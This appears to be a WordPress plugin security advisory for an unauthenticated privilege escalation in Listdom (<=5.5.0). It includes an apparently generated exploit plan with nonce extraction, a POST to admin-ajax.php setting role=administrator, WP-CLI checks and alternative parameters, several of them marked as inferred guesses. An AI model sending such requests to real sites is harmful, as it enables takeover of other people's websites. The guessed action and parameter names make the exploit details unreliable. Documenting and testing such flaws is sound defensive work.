Listdom: AI-powered Business Directory with Classifieds Ads Listings <= 5.5.0 - Unauthenticated Privilege Escalation
Description
The Listdom: AI-powered Business Directory with Classifieds Ads Listings plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 5.5.0. This makes it possible for unauthenticated attackers to elevate their privileges.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v5.6.0
Source Code
WordPress.org SVNThis research plan focuses on **CVE-2026-49063**, an unauthenticated privilege escalation vulnerability in the **Listdom** plugin. ## 1. Vulnerability Summary The Listdom plugin (<= 5.5.0) is vulnerable to **Unauthenticated Privilege Escalation**. This occurs because the plugin's registration or pr…
Show full research plan
This research plan focuses on CVE-2026-49063, an unauthenticated privilege escalation vulnerability in the Listdom plugin.
1. Vulnerability Summary
The Listdom plugin (<= 5.5.0) is vulnerable to Unauthenticated Privilege Escalation. This occurs because the plugin's registration or profile-handling AJAX actions (likely managed by LSD_Ajax and LSD_Author) fail to restrict the role parameter when creating or updating a user. An unauthenticated attacker can send a crafted request to the WordPress AJAX endpoint to create a new user with the administrator role.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
lsd_register_user(inferred) orlsd_submit_listing(inferred). - Vulnerable Parameter:
role(or a nested parameter likeuser[role]). - Authentication: None required (uses
wp_ajax_nopriv_*hooks). - Preconditions: User registration must be enabled in Listdom settings, or the "Add Listing" feature must be accessible to guests (common in directory plugins).
3. Code Flow
- The
Listdomclass constructor (LSD.php) initializesLSD_Ajax(line 217) andLSD_Author(line 144). LSD_Ajaxregisters a "nopriv" (unauthenticated) AJAX handler for registration:add_action('wp_ajax_nopriv_lsd_register_user', ...).- The handler receives input from
$_POST. - The handler calls
wp_insert_user($user_data)orwp_create_user(). - If
$user_datais populated directly from$_POSTwithout filtering therolekey, WordPress assigns the specified role (e.g.,administrator) to the new user.
4. Nonce Acquisition Strategy
Listdom uses wp_localize_script to pass security nonces to the frontend. Based on the plugin's naming convention (LSD_), the JS object is likely lsd_obj.
Execution Steps:
- Identify Shortcode: Listdom usually requires a registration or "Add Listing" shortcode to load its frontend assets. The most common is
[listdom_add_listing]. - Create Setup Page:
wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[listdom_add_listing]' - Navigate and Extract:
Usebrowser_navigateto the new page.
Usebrowser_evalto extract the nonce:// Inferred structure based on Listdom asset management window.lsd_obj?.nonce || window.lsd_vars?.nonce - Verification: If no nonce is found, the endpoint may not be protected by a nonce, or the action might use a different key. Check the page source for
admin-ajax.phpreferences and surrounding JSON.
5. Exploitation Strategy
The goal is to register a new user and assign them the administrator role.
HTTP Request (via http_request tool):
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=lsd_register_user& user_login=attacker_admin& user_email=attacker@example.com& password=P@ssword123!& role=administrator& nonce=[EXTRACTED_NONCE]
Note: If the plugin expects a nested array, the body might look like user[user_login]=...&user[role]=administrator.
6. Test Data Setup
- Plugin Activation: Ensure
listdomis active. - Registration Page: Create a page with the
[listdom_add_listing]or[listdom_dashboard]shortcode to trigger the necessary scripts and nonces. - Settings (Optional): If the exploit fails, use
wp option get lsd_settingsto check if guest submissions/registrations are disabled and enable them if necessary to simulate a standard vulnerable configuration.
7. Expected Results
- HTTP Response: A success JSON (e.g.,
{"success":true,...}) or a redirect to a dashboard. - Database State: A new entry in the
wp_userstable with the loginattacker_admin. - Privilege State: The user
attacker_adminshould have theadministratorrole in thewp_usermetatable (underwp_capabilities).
8. Verification Steps
After the HTTP request, verify the success via WP-CLI:
# Check if the user was created
wp user list --field=user_login | grep "attacker_admin"
# Check the user's role
wp user get attacker_admin --field=roles
The output should be administrator.
9. Alternative Approaches
If lsd_register_user is not the correct action name:
- Search Source: Use
grep -r "wp_ajax_nopriv" .in the plugin directory to find all unauthenticated AJAX entry points. - Profile Update: If registration is restricted, look for
lsd_update_profile(inferred). If an existing subscriber can update their own profile and include aroleparameter, the impact is the same. - Parameter Variation: Try
role=administrator,user_role=administrator, orlsd[role]=administrator.
Summary
The Listdom plugin for WordPress is vulnerable to unauthenticated privilege escalation in versions up to and including 5.5.0. This vulnerability exists because the plugin's AJAX handlers for user registration or profile updates fail to sanitize or restrict the 'role' parameter, allowing an attacker to specify and receive the 'administrator' role.
Vulnerable Code
// LSD.php line 144 $author = new LSD_Author(); $author->init(); --- // LSD.php line 217 $ajax = new LSD_Ajax(); $ajax->init();
Security Fix
@@ -3,6 +3,19 @@ defined('ABSPATH') || die(); ?> <div class="lsd-changelog-wrap"> + <h2>v5.6.0 <span>June 7th, 2026</span></h2> + <ul class="lsd-changelog"> + <li><?php esc_html_e('Added AI-powered search with structured and semantic options, model settings, and connector approval notices.', 'listdom'); ?></li> + <li><?php esc_html_e('Added a Back Button element for single listing pages.', 'listdom'); ?></li> + <li><?php esc_html_e('Added new single listing controls for attribute visibility, listing links, and timeline skin output in connected shortcodes.', 'listdom'); ?></li> + <li><?php esc_html_e('Added week-start options for date pickers and improved date fields in search forms.', 'listdom'); ?></li> + <li><?php esc_html_e('Added an image-centered taxonomy shortcode style.', 'listdom'); ?></li> + <li><?php esc_html_e('Improved map and direction button behavior, including refreshed cluster icons and cleaner Google map interactions.', 'listdom'); ?></li> + <li><?php esc_html_e('Refined frontend and backend UI details for search fields, modals, tooltips, badges, icons, and listing inputs.', 'listdom'); ?></li> + <li><?php esc_html_e('Improved AI search reliability with better caching, duplicate job prevention, and semantic search interface polish.', 'listdom'); ?></li> + <li><?php esc_html_e('Fixed import, API, and listing save reliability issues, including attribute slugs, metadata overwrite protection, and file size enforcement.', 'listdom'); ?></li> + <li><?php esc_html_e('Fixed duplicate notifications, frontend auth role handling, and safer listing data handling.', 'listdom'); ?></li> + </ul> <h2>v5.5.0 <span>May 12th, 2026</span></h2> <ul class="lsd-changelog"> <li><?php esc_html_e('Updated Italian translations for Listdom and its addons.', 'listdom'); ?></li>
Exploit Outline
The exploit targets unauthenticated AJAX actions such as 'lsd_register_user'. An attacker first identifies a page containing a Listdom registration or listing submission form (e.g., via the [listdom_add_listing] shortcode) to extract a security nonce from the 'lsd_obj' or 'lsd_vars' JavaScript objects. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' containing the registration action, user details (login, email, password), and a 'role' parameter set to 'administrator'. Because the plugin's backend logic directly uses the 'role' parameter from the request when calling user creation functions like wp_insert_user(), the new user is created with full administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.